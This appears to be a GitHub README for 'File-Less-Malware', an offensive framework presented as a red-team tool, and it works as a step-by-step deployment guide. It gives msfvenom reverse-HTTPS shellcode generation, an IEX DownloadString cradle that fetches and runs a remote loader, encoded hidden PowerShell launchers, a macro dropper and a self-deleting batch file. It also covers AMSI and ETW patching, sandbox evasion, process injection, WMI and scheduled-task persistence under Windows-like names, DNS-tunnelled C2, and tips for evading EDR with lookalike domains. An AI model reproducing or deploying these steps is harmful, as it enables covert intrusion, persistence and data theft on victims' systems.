- Overview
- What Makes This "Fileless"?
- Architecture
- Prerequisites
- Installation & Setup
- Step-by-Step Deployment Guide
- C2 Server Setup
- Execution Methods
- Persistence Mechanisms
- Evasion Techniques
- Detection & OPSEC Considerations
- Troubleshooting
- Legal & Ethical Use
- Signed
File-Less-Malware is a multi-stage fileless malware framework designed for red team engagements and authorized penetration tests. It operates entirely in memory — no executables, scripts, or payloads are ever written to disk. The framework uses living-off-the-land binaries (LOLBins), Windows API injection, WMI persistence, and dual-channel C2 communication to establish persistent, stealthy access to target Windows systems.
This is not a script kiddie tool. It implements advanced evasion techniques including AMSI patching, ETW suppression, sandbox detection, encrypted shellcode transport, and process injection with memory protection manipulation.
Traditional malware writes an executable or script file to disk, which antivirus can scan at rest. File-Less-Malware avoids this entirely:
| Attack Phase | What Touches Disk | What Stays in Memory |
|---|---|---|
| Initial execution | Nothing | Encoded PowerShell command runs directly |
| AMSI/ETW bypass | Nothing | API memory patching |
| Shellcode | Nothing | XOR-encrypted in transit, decrypted in memory only |
| Process injection | Nothing | VirtualAllocEx + WriteProcessMemory in target process |
| Persistence | WMI Repository (system file, not user-writable) | No .exe, .dll, .ps1, .vbs, .bat on disk |
| C2 communication | Nothing | DNS queries + HTTPS requests (normal network traffic) |
The WMI repository is a system-managed database — you cannot simply delete a WMI subscription by removing a file. This makes forensic removal significantly harder than traditional persistence methods.
┌──────────────────────────────────────────────────────────────────────┐
│ File-Less-Malware Framework │
├──────────────────────────────────────────────────────────────────────┤
│ │
│ Execution Order: │
│ │
│ 1. STAGE 0 — Defense Bypass │
│ ├── AmsiUtils amsiInitFailed = true │
│ ├── AmsiScanBuffer memory patch (xor rax,rax; ret) │
│ └── EtwEventWrite memory patch (xor rax,rax; ret) │
│ │
│ 2. STAGE 1 — Sandbox Evasion │
│ ├── BIOS serial check (VM defaults) │
│ ├── System model check (VirtualBox, VMware, Hyper-V) │
│ ├── RAM size check (< 4GB = sandbox) │
│ ├── Disk size check (< 60GB = sandbox) │
│ ├── Running process check (procmon, wireshark, debuggers) │
│ ├── Username check (admin, test, sandbox, analysis) │
│ └── Network gateway check (10.0.2.x = NAT) │
│ │
│ 3. STAGE 2 — Shellcode Decryption │
│ ├── Base64 decode │
│ ├── Rolling XOR decryption (16-byte key) │
│ └── Shellcode ready in memory │
│ │
│ 4. STAGE 3 — Process Injection │
│ ├── Find or spawn notepad.exe (sacrificial process) │
│ ├── OpenProcess (PROCESS_ALL_ACCESS) │
│ ├── VirtualAllocEx (RW memory in target) │
│ ├── WriteProcessMemory (shellcode → target) │
│ ├── VirtualProtectEx (RW → RX, executable) │
│ └── CreateRemoteThread (execute) │
│ │
│ 5. STAGE 4 — Persistence (optional) │
│ ├── WMI Event Subscription (primary) │
│ ├── Registry Run Key (backup) │
│ └── Scheduled Task (tertiary) │
│ │
│ 6. STAGE 5 — C2 Beacon (infinite loop) │
│ ├── System info collection │
│ ├── DNS tunneling beacon (subdomain exfiltration) │
│ ├── HTTPS callback (command retrieval) │
│ └── Jittered sleep (entropy spin-loop) │
│ │
└──────────────────────────────────────────────────────────────────────┘
| Requirement | Details |
|---|---|
| OS | Kali Linux 2024+ or Ubuntu 22.04+ |
| Python | 3.8+ |
| msfvenom | Metasploit Framework (apt install metasploit-framework) |
| Python packages | dnslib (pip3 install dnslib) |
| Root access | Required for DNS (port 53) and HTTPS (port 443) listeners |
| Domain | A domain you control (or use IP-only with limitations) |
| Public IP | VPS with ports 53/443 open (or forwarded) |
| Requirement | Details |
|---|---|
| OS | Windows 10/11, Windows Server 2019/2022 |
| PowerShell | Version 5.1+ |
| Privileges | Admin recommended for WMI persistence features |
| Network | Outbound DNS (port 53) and HTTPS (port 443) |
| Windows Defender | Will be bypassed by Stage 0 (amsiInitFailed) |
git clone https://github.com/skynetfc/file-less-malware.git
cd file-less-malware# Python dependencies for C2 server
pip3 install dnslib
# Metasploit for shellcode generation
sudo apt update && sudo apt install -y metasploit-frameworkfile-less-malware/
├── README.md
├── LICENSE
├── assets/
│ └── logo.png
├── builder/
│ ├── generate_payload.py ← Shellcode + encryption generator
│ └── encrypt_shellcode.py ← XOR encryption utility
├── payload/
│ ├── stage0_amsi_bypass.ps1 ← AMSI/ETW patching module
│ ├── stage1_sandbox_evasion.ps1 ← VM/sandbox detection
│ ├── stage2_injection.ps1 ← Process injection engine
│ ├── stage3_persistence.ps1 ← WMI/Registry persistence
│ ├── stage4_c2_beacon.ps1 ← C2 communication loop
│ └── loader.ps1 ← Master orchestrator (ALL stages)
├── c2/
│ ├── server.py ← Combined HTTPS + DNS C2 server
│ ├── dns_server.py ← Standalone DNS listener
│ └── requirements.txt
├── generated/ ← Created by build process
│ ├── shellcode.raw
│ ├── shellcode.enc
│ └── stager.ps1
└── docs/
└── OPERATIONS_GUIDE.md
On Kali Linux, run the payload generator:
cd file-less-malware/builder
python3 generate_payload.py \
--lhost YOUR_C2_SERVER_IP \
--lport 443 \
--payload reverse_https \
--arch x64 \
--output ../generatedThis will:
- Run
msfvenomto create staged reverse HTTPS shellcode - XOR-encrypt the shellcode with a 16-byte rolling key
- Save the raw shellcode to
generated/shellcode.raw - Save the encrypted shellcode to
generated/shellcode.enc - Generate a standalone stager to
generated/stager.ps1
Flags explained:
| Flag | Purpose | Example |
|---|---|---|
--lhost |
Your C2 server IP | 192.168.1.100 or 45.33.32.156 |
--lport |
Port for reverse connection | 443 (blends with HTTPS) |
--payload |
Shellcode type | reverse_https (encrypted, harder to detect) |
--arch |
Target architecture | x64 (most modern systems) |
cat ../generated/shellcode.enc | base64 | tr -d '\n'Save this output — you'll need it for the next step.
Open payload/loader.ps1 and find the $config block at the top.
Change these values:
| Variable | What to Put | Example |
|---|---|---|
C2Domain |
Your C2 domain or IP | "c2.yourdomain.com" |
C2Port |
C2 server port | 443 |
EncryptedShellcode |
The base64 string from Step 1.2 | (long base64 string) |
Optional tuning:
| Variable | Default | Description |
|---|---|---|
BeaconInterval |
120 |
Seconds between C2 callbacks |
JitterPercent |
35 |
Random delay variation (0–100) |
TargetProcess |
notepad.exe |
Sacrificial process for injection |
PersistEnabled |
$true |
Enable/disable persistence |
- Edit
builder/encrypt_shellcode.py— change theENCRYPTION_KEYbytes - Edit
payload/loader.ps1— change$config.EncryptionKeyto match - Regenerate the payload (re-run Step 1.1)
$loaderPath = "C:\path\to\file-less-malware\payload\loader.ps1"
$content = Get-Content -Raw $loaderPath
$bytes = [System.Text.Encoding]::Unicode.GetBytes($content)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host $encodedpowershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "IEX (New-Object Net.WebClient).DownloadString('https://your-server.com/loader.ps1')"sudo python3 c2/server.py \
--domain update.microsoft-helpline.com \
--http-port 443 \
--dns-port 53 \
--host 0.0.0.0Expected output:
[2026-06-20 14:00:00] [C2] Domain: update.microsoft-helpline.com
[2026-06-20 14:00:00] [C2] HTTP: 0.0.0.0:443
[2026-06-20 14:00:00] [C2] DNS: 0.0.0.0:53
[2026-06-20 14:00:00] [C2] Waiting for beacons...
| Record Type | Name | Value | TTL |
|---|---|---|---|
| A | update.microsoft-helpline.com |
YOUR_C2_SERVER_IP |
3600 |
msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 443
msf6 > set ExitOnSession false
msf6 > run -jpowershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -EncodedCommand $ENCODED_LOADERpowershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "IEX (New-Object Net.WebClient).DownloadString('https://your-server.com/loader.ps1')"Sub AutoOpen()
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -EncodedCommand ENCODED_LOADER_HERE", 0, False
End Sub@echo off
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -EncodedCommand ENCODED_LOADER_HERE
del %0Watch your C2 server logs:
[2026-06-20 14:05:32] [BEACON] 203.0.113.50 -> /api/telemetry
[2026-06-20 14:05:32] [IMPLANT] Hostname: DESKTOP-7F3K2L | User: jdoe | IP: 203.0.113.50
[2026-06-20 14:05:32] [DNS] Beacon from 203.0.113.50: RGVz... (truncated)
And in Metasploit:
[*] Meterpreter session 1 opened (YOUR_IP:443 -> TARGET_IP:54321)
sudo python3 c2/server.py \
--domain yourdomain.com \
--http-port 443 \
--dns-port 53 \
--host 0.0.0.0# Terminal 1: DNS listener
sudo python3 c2/dns_server.py --port 53 --domain yourdomain.com
# Terminal 2: HTTP listener
sudo python3 c2/server.py --http-port 443| Log Type | Example | What It Means |
|---|---|---|
[BEACON] |
[BEACON] 203.0.113.50 -> /api/telemetry |
HTTPS callback received |
[IMPLANT] |
Hostname: DESKTOP-ABC |
System info decoded from beacon |
[DNS] |
Beacon from 203.0.113.50: aG9zdA== |
DNS subdomain beacon received |
[CMD] |
Command sent: whoami |
C2 command dispatched to implant |
The C2 server embeds commands in HTTP responses using XML tags. The implant checks for <c2>COMMAND</c2> in the response body. Edit server.py to customize the command returned.
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -EncodedCommand <BASE64>Pros: Nothing on disk. AV/EDR cannot scan the payload at rest.
Cons: PowerShell command line may be logged (Event ID 4688, 4104).
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "IEX (New-Object Net.WebClient).DownloadString('https://your-server.com/loader.ps1')"Pros: Payload can be updated server-side without re-deploying.
Cons: Network connection to your server may be logged.
wmic process call create "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -EncodedCommand <BASE64>"schtasks /create /tn "WindowsUpdateTask" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -EncodedCommand <BASE64>" /sc onlogon /ru SYSTEM /f
schtasks /run /tn "WindowsUpdateTask"Once the loader establishes persistence (Stage 4), the implant will survive reboots using three layers:
| Component | Purpose |
|---|---|
__EventFilter |
Triggers on system performance counter changes (every 1 hour by default) |
CommandLineEventConsumer |
Executes the PowerShell re-infection command |
__FilterToConsumerBinding |
Connects the filter to the consumer |
Why this is powerful: The WMI repository is a system file (%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA). Antivirus cannot simply "delete" a WMI subscription — it would corrupt the entire repository. Most EDRs do not monitor WMI subscription creation by default.
| Registry Path | Value Name |
|---|---|
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run |
WindowsDefenderHealthUpdate_XXXXX |
| Task Name | Trigger | Runs As |
|---|---|---|
MicrosoftEdgeUpdateTask_XXXXX |
Daily | SYSTEM |
All persistence mechanisms re-execute the same encoded PowerShell payload — no new files are ever created.
Windows Defender's Antimalware Scan Interface scans PowerShell scripts before execution. File-Less-Malware uses multiple layered bypasses:
| Technique | How It Works |
|---|---|
amsiInitFailed |
Sets the amsiInitFailed field to $true, disabling AMSI for the session |
AmsiScanBuffer memory patch |
Overwrites the function with xor rax,rax; ret (returns 0 = clean) |
| Provider removal | Removes AMSI provider GUIDs from the registry |
Event Tracing for Windows sends telemetry to EDR solutions. File-Less-Malware patches EtwEventWrite in ntdll.dll with xor rax,rax; ret — the function still exists but does nothing.
Before deploying the real payload, the loader checks for analysis environments:
| Check | Detection Target |
|---|---|
| BIOS serial number | VMware, VirtualBox, Hyper-V default serials |
| System model | Virtual machine model strings |
| RAM size | Sandboxes often have < 4 GB |
| Disk size | Sandboxes often have < 60 GB C: drives |
| Running processes | procmon, wireshark, Process Hacker, debuggers |
| Username | Common sandbox usernames |
| Network gateway | VirtualBox NAT gateway (10.0.2.x) |
If any indicator is found, the loader runs a benign decoy (simulates Windows Update) and exits cleanly.
The shellcode is:
- Generated by msfvenom
- XOR-encrypted with a 16-byte rolling key
- Base64-encoded for transmission
- Only decrypted in memory at runtime
This defeats signature-based detection and network inspection.
The shellcode executes inside a legitimate Windows process (notepad.exe by default):
notepad.exeis signed by Microsoft- EDRs trust signed processes more than unsigned ones
- The injection uses raw Win32 API calls (not .NET wrappers)
- Memory is allocated RW, written, then changed to RX (never stays RWX)
The beacon interval includes random jitter:
- Base interval: 120 seconds
- Jitter: ±35% (random between ~78 and ~162 seconds)
- Sleep uses entropy collection loops instead of simple
Start-Sleep
This defeats sandbox timing analysis and beacon detection rules.
| Artifact | What It Looks Like | How to Mitigate |
|---|---|---|
| PowerShell command line | Long base64 string in Event 4688 | Use shorter, fragmented commands |
| Process creation (notepad.exe) | PowerShell spawning notepad.exe | Use svchost.exe or explorer.exe instead |
| WMI subscription creation | New __EventFilter in root\subscription |
Use longer random names, lower event frequency |
| Network connections | DNS queries to your domain | Use a legitimate-looking domain, add DNS padding |
| Memory allocation | VirtualAllocEx in notepad.exe | Use smaller shellcode, enable sleep obfuscation |
| Area | Improvement |
|---|---|
| Domain | Register a domain that looks legitimate (e.g., cdn-azure-static.net) |
| Certificate | Use Let's Encrypt for valid TLS on your C2 server |
| Beacon timing | Set BeaconInterval to 300–600 seconds for low-and-slow |
| Target process | Use svchost.exe or RuntimeBroker.exe instead of notepad |
| Shellcode | Use staged payload (smaller initial shellcode) |
| Encryption | Change the XOR key per operation |
| Delivery | Use signed macros or exploit kits, not raw PowerShell |
Before deploying in an engagement, test against:
- Windows Defender — Ensure AMSI bypass works
- Microsoft Defender for Endpoint — Check for behavioral alerts
- Sysmon — Review Event ID 1 (process creation), 7 (image load), 8 (CreateRemoteThread)
- Velociraptor — Check for WMI subscription artifacts
- Your target's EDR — If known, test specifically against it
Cause: PROCESS_ALL_ACCESS requires admin rights.
Fix: Run the loader as Administrator, or change TargetProcess to a process running under the same user account.
| Cause | Check |
|---|---|
| DNS resolution | Does nslookup yourdomain.com resolve to your C2 IP? |
| Firewall | Are ports 53 (UDP) and 443 (TCP) open on your VPS? |
| Domain configuration | Is the A record pointing to the correct IP? |
| Network connectivity | Can the target reach your C2 server? |
Cause: Some EDRs hook AMSI differently.
Fix: Try patching AmsiScanString instead of AmsiScanBuffer, or use [System.Reflection.Assembly]::Load with obfuscated reflection.
Cause: Target process architecture mismatch or EDR hooking.
Fix: Ensure shellcode architecture matches the target process. Test with a simple calc.exe shellcode first.
Fix: Verify the persistence command is correctly encoded. Test manually:
$filter = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name LIKE 'WindowsDefenderFilter_%'"
$filter | Format-List *# Stop systemd-resolved (temporary)
sudo systemctl stop systemd-resolved
sudo systemctl disable systemd-resolved- Authorized penetration tests with signed scope-of-work documents
- Red team exercises within your own organization
- Security research in isolated lab environments
- CTF competitions and training scenarios
- Educational demonstrations with student consent
- Explicit written authorization from the system owner
- A defined scope listing which systems and networks are in scope
- Rules of engagement specifying allowed techniques
- A stop condition — when and how to halt the operation
- Systems you do not own or have written permission to test
- Bypassing security controls without authorization
- Exfiltrating data without explicit permission
- Installing backdoors for unauthorized access
- Any illegal activity under the Computer Fraud and Abuse Act (CFAA) or equivalent laws in your jurisdiction
The authors and contributors of File-Less-Malware assume no liability for misuse of this framework. Users are responsible for compliance with all applicable laws and regulations in their jurisdiction.
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⡿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠿⢿⣿⣿⣿⣿
⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿
⣿⣿⡇⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⢸⣿⣿
⣿⣿⡇⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢸⣿⣿
⣿⣿⡇⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢸⣿⣿
⣿⣿⡇⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⢸⣿⣿
⣿⣿⡇⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⢸⣿⣿
⣿⣿⡇⠀⠀⠀⠀⠀⠉⠛⠻⠿⣿⣿⣿⣿⣿⣿⠿⠟⠛⠉⠀⠀⠀⠀⠀⢸⣿⣿
⣿⣿⡇⠀⠀⢠⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⡄⠀⠀⢸⣿⣿
⣿⣿⡇⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⢸⣿⣿
⣿⣿⡇⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⢸⣿⣿
⣿⣿⣧⣀⣀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣸⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
File-Less-Malware — Advanced Fileless Malware Framework
For authorized security testing only
Signed: skynetfc
